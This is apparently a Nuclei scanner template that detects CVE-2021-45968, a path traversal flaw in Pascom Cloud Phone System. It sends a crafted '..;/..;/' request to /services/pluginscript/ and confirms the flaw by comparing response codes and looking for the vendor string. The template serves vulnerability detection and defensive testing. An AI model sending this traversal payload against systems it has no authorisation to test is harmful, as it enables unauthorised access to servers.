nuclei-templates/cves/2021/CVE-2021-45968.yaml

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YAML

id: CVE-2021-45968
info:
name: Pascom CPS Path Traversal
author: dwisiswant0
severity: high
description: |
Pascom version packaged with Cloud Phone System (CPS)
versions before 7.20 contains a known path traversal issue
reference:
- https://kerbit.io/research/read/blog/4
tags: cve,cve2021,pascom,lfi
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.50
cve-id: CVE-2021-45968
cwe-id: CWE-22
requests:
- raw:
- |
GET /services/pluginscript/ HTTP/1.1
Host: {{Hostname}}
- | # Double parent to access CMS index
GET /services/pluginscript/..;/..;/ HTTP/1.1
Host: {{Hostname}}
- | # Verifying CMS
GET / HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- "status_code_2 != status_code_1"
- "contains(body_2, 'pascom GmbH & Co KG') || contains(body_3, 'pascom GmbH & Co KG')" # Verifying CMS
condition: and